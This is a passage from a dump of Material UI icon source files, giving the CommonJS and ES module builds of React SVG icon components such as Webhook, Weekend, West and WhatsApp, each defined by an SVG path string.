    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 16c0-1.84 1-3.45 2.48-4.32.67-.39 1.52.08 1.52.86 0 .36-.19.68-.5.86-.9.52-1.5 1.49-1.5 2.6 0 1.85 1.68 3.31 3.6 2.94 1.42-.28 2.4-1.61 2.4-3.06 0-.49.39-.88.88-.88h5c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5m14.37-9c.65 0 1.14-.62.97-1.25C16.79 3.59 14.83 2 12.5 2c-2.76 0-5 2.24-5 5 0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l2.86-4.75c.25-.41.13-.95-.28-1.19-.9-.53-1.51-1.5-1.51-2.61 0-1.65 1.35-3 3-3 1.38 0 2.54.93 2.89 2.2.13.46.51.8.98.8m.63 6c-.38 0-.75.07-1.09.2-.4.16-.86-.04-1.08-.41l-2.6-4.32C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.86 0-1.68-.22-2.39-.61-.92-.5-.58-1.89.47-1.89.17 0 .34.05.49.14.42.23.91.36 1.43.36 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 16c0-1.84 1-3.45 2.48-4.32.67-.39 1.52.08 1.52.86 0 .36-.19.68-.5.86-.9.52-1.5 1.49-1.5 2.6 0 1.85 1.68 3.31 3.6 2.94 1.42-.28 2.4-1.61 2.4-3.06 0-.49.39-.88.88-.88h5c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5m14.37-9c.65 0 1.14-.62.97-1.25C16.79 3.59 14.83 2 12.5 2c-2.76 0-5 2.24-5 5 0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l2.86-4.75c.25-.41.13-.95-.28-1.19-.9-.53-1.51-1.5-1.51-2.61 0-1.65 1.35-3 3-3 1.38 0 2.54.93 2.89 2.2.13.46.51.8.98.8m.63 6c-.38 0-.75.07-1.09.2-.4.16-.86-.04-1.08-.41l-2.6-4.32C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-.86 0-1.68-.22-2.39-.61-.92-.5-.58-1.89.47-1.89.17 0 .34.05.49.14.42.23.91.36 1.43.36 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WebhookTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15h5.88c.27-.31.67-.5 1.12-.5.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5c-.44 0-.84-.19-1.12-.5H11.9c-.46 2.28-2.48 4-4.9 4-2.76 0-5-2.24-5-5 0-2.42 1.72-4.44 4-4.9v2.07c-1.16.41-2 1.53-2 2.83 0 1.65 1.35 3 3 3s3-1.35 3-3zm2.5-11c1.65 0 3 1.35 3 3h2c0-2.76-2.24-5-5-5s-5 2.24-5 5c0 1.43.6 2.71 1.55 3.62l-2.35 3.9c-.68.14-1.2.75-1.2 1.48 0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-.16-.02-.31-.07-.45l3.38-5.63C10.49 9.61 9.5 8.42 9.5 7c0-1.65 1.35-3 3-3m4.5 9c-.64 0-1.23.2-1.72.54l-3.05-5.07C11.53 8.35 11 7.74 11 7c0-.83.67-1.5 1.5-1.5S14 6.17 14 7c0 .15-.02.29-.06.43l2.19 3.65c.28-.05.57-.08.87-.08 2.76 0 5 2.24 5 5s-2.24 5-5 5c-1.85 0-3.47-1.01-4.33-2.5h2.67c.48.32 1.05.5 1.66.5 1.65 0 3-1.35 3-3s-1.35-3-3-3\"\n}), 'WebhookTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Weekend.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10c-1.1 0-2 .9-2 2v3H5v-3c0-1.1-.89-2-2-2s-2 .9-2 2v5c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m-3-5H6c-1.1 0-2 .9-2 2v2.15c1.16.41 2 1.52 2 2.81V14h12v-2.03c0-1.3.84-2.4 2-2.81V7c0-1.1-.9-2-2-2\"\n}), 'Weekend');"
  },
  {
    "path": "packages/mui-icons-material/lib/Weekend.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10c-1.1 0-2 .9-2 2v3H5v-3c0-1.1-.89-2-2-2s-2 .9-2 2v5c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m-3-5H6c-1.1 0-2 .9-2 2v2.15c1.16.41 2 1.52 2 2.81V14h12v-2.03c0-1.3.84-2.4 2-2.81V7c0-1.1-.9-2-2-2\"\n}), 'Weekend');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9V7c0-1.65-1.35-3-3-3H6C4.35 4 3 5.35 3 7v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3h18c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M5 7c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H6v-2c0-.88-.39-1.67-1-2.22zm17 10c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h16v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'WeekendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9V7c0-1.65-1.35-3-3-3H6C4.35 4 3 5.35 3 7v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3h18c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M5 7c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H6v-2c0-.88-.39-1.67-1-2.22zm17 10c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h16v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'WeekendOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10c-1.1 0-2 .9-2 2v3H5v-3c0-1.1-.9-2-2-2s-2 .9-2 2v5c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m-3-5H6c-1.1 0-2 .9-2 2v2.15c1.16.41 2 1.51 2 2.82V14h12v-2.03c0-1.3.84-2.4 2-2.82V7c0-1.1-.9-2-2-2\"\n}), 'WeekendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10c-1.1 0-2 .9-2 2v3H5v-3c0-1.1-.9-2-2-2s-2 .9-2 2v5c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m-3-5H6c-1.1 0-2 .9-2 2v2.15c1.16.41 2 1.51 2 2.82V14h12v-2.03c0-1.3.84-2.4 2-2.82V7c0-1.1-.9-2-2-2\"\n}), 'WeekendRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9.03V14h12V9.03h2V5H4v4.03zM19 15H5v-4.97H1V19h22v-8.97h-4z\"\n}), 'WeekendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9.03V14h12V9.03h2V5H4v4.03zM19 15H5v-4.97H1V19h22v-8.97h-4z\"\n}), 'WeekendSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11c-.55 0-1 .45-1 1v4H4v-4c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1h18c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1M6 14h12v-2c0-.88.39-1.67 1-2.22V7c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v2.78c.61.55 1 1.34 1 2.22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9V7c0-1.65-1.35-3-3-3H6C4.35 4 3 5.35 3 7v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3h18c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M5 7c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H6v-2c0-.88-.39-1.67-1-2.22zm17 10c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h16v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'WeekendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WeekendTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11c-.55 0-1 .45-1 1v4H4v-4c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1h18c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1M6 14h12v-2c0-.88.39-1.67 1-2.22V7c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v2.78c.61.55 1 1.34 1 2.22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9V7c0-1.65-1.35-3-3-3H6C4.35 4 3 5.35 3 7v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3h18c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M5 7c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H6v-2c0-.88-.39-1.67-1-2.22zm17 10c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h16v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"1\")], 'WeekendTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/West.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'West');"
  },
  {
    "path": "packages/mui-icons-material/lib/West.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'West');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'WestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'WestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.7 18.3c.39-.39.39-1.02 0-1.41L5.83 13H21c.55 0 1-.45 1-1s-.45-1-1-1H5.83l3.88-3.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L2.7 11.3c-.39.39-.39 1.02 0 1.41l5.59 5.59c.39.38 1.03.38 1.41 0\"\n}), 'WestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.7 18.3c.39-.39.39-1.02 0-1.41L5.83 13H21c.55 0 1-.45 1-1s-.45-1-1-1H5.83l3.88-3.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L2.7 11.3c-.39.39-.39 1.02 0 1.41l5.59 5.59c.39.38 1.03.38 1.41 0\"\n}), 'WestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'WestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'WestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'WestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WestTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 19 1.41-1.41L5.83 13H22v-2H5.83l4.59-4.59L9 5l-7 7z\"\n}), 'WestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatsApp.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.75 13.96c.25.13.41.2.46.3.06.11.04.61-.21 1.18-.2.56-1.24 1.1-1.7 1.12-.46.02-.47.36-2.96-.73-2.49-1.09-3.99-3.75-4.11-3.92-.12-.17-.96-1.38-.92-2.61.05-1.22.69-1.8.95-2.04.24-.26.51-.29.68-.26h.47c.15 0 .36-.06.55.45l.69 1.87c.06.13.1.28.01.44l-.27.41-.39.42c-.12.12-.26.25-.12.5.12.26.62 1.09 1.32 1.78.91.88 1.71 1.17 1.95 1.3.24.14.39.12.54-.04l.81-.94c.19-.25.35-.19.58-.11l1.67.88M12 2a10 10 0 0 1 10 10 10 10 0 0 1-10 10c-1.97 0-3.8-.57-5.35-1.55L2 22l1.55-4.65A9.969 9.969 0 0 1 2 12 10 10 0 0 1 12 2m0 2a8 8 0 0 0-8 8c0 1.72.54 3.31 1.46 4.61L4.5 19.5l2.89-.96A7.95 7.95 0 0 0 12 20a8 8 0 0 0 8-8 8 8 0 0 0-8-8z\"\n}), 'WhatsApp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhatsApp.mjs",
